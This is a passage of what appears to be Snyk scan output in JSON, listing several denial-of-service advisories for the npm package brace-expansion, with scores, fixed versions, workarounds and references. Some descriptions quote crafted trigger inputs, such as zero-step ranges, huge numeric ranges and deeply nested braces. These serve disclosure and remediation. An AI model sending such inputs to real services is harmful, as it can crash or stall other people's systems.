"CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 